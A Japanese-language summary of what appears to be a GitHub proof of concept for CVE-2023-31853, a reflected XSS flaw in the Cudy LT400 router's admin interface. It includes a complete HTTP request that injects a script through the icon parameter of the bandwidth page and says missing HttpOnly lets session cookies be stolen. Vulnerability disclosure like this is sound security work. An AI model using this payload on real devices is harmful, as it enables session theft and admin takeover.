calfcrusher/cve-2023-31853Cudy LT400 Web インターフェースの反射型 XSS の概念実証。細工したリクエストによるセッション Cookie の窃取と管理者乗っ取りを実証します。
Cudy LT400のWebベース管理インターフェースに、反映型クロスサイトスクリプティング（XSS）攻撃が存在します。
ページ /cgi-bin/luci/admin/network/bandwidth では、icon パラメータを介した反映型XSSが発生します。
攻撃方法は、悪意のあるコードを含む特別に細工されたリクエストを被害者に送信するものです。
影響を受けるアプリケーションは、Session CookieにHttpOnly属性を設定していないため、セッショントークンが盗まれると管理者権限を奪取される可能性があります。
GET /cgi-bin/luci/admin/network/bandwidth?iface=4g&icon=icon-4g%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&i18name=Cellular HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31853